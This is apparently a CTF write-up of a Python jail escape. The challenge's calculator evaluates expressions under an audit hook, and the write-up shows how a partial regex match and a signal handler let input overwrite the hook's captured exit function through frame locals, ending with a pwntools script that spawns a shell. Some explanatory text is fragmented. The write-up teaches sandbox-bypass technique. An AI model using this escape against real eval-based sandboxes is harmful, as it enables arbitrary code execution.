#!/usr/bin/env python3
from sys import addaudithook
from os import _exit
from re import match
def safe_eval(exit, code):
def hook(*a):
exit(0)
def dummy():
pass
dummy.__code__ = compile(code, "<code>", "eval")
addaudithook(hook)
return dummy()
if __name__ == "__main__":
expr = input("Math expression: ")
if len(expr) <= 200 and match(r"[0-9+\-*/]+", expr):
print(safe_eval(_exit, expr))
else:
print("Do you know what is a calculator?")
Requirements:
1,
to bypass since it is not a full matchThis writeup is inspired by ICTF 2024 - All PyJails 『ANY %』on Shy blog. It is nicely written, you are strongly encouraged to read it.
If we launch shell directly, the audit hook will immediately kill the process.
The audit hook is implemented in def hook(*a):
:
def safe_eval(exit, code):
def hook(*a):
exit(0)
It captures exit
from the outer function. It is stored in __closure__
:
import os
def safe_eval(exit, code):
def hook(*a):
exit(0)
# prints (<cell at 0x1042321c0: builtin_function_or_method object at 0x104169400>,)
print(hook.__closure__[0])
safe_eval(os._exit, "")
We can override the captured exit
to print
:
import os
def safe_eval(exit, code):
def hook(*a):
exit(0)
hook.__closure__[0].__setattr__("cell_contents", print)
# print(0) instead of exit(0)
hook()
safe_eval(os._exit, "")
Now the audit hook effectively does nothing. The next problem is, how do we access hook
? It is a local function to safe_eval
, so we cannot access it from outside, unless:
compile(..., "eval")
The second method is used:
s = __import__["sys"].modules["_signal"]
exit
function in hook
: s.signal(1, lambda num, frame: frame.f_back.f_locals["hook"].__closure__[0].__setattr__("cell_contents", print))
, here frame
refers to the frame of dummy
, so frame.f_back
belongs to safe_eval
, and we can find hook
from frame.f_back.f_locals["hook"]
s.raise(1)
__import__("os").system("sh")
Attack script:
from pwn import *
context(log_level="debug")
p = process(["python3", "calc.py"])
p.sendline(
(
"1,"
+ '[s:=__import__("sys").modules["_signal"],'
+ 's.signal(1, lambda num, frame: frame.f_back.f_locals["hook"].__closure__[0].__setattr__("cell_contents", print)),'
+ "s.raise_signal(1),"
+ '__import__("os").system("sh")]'
).encode()
)
p.interactive()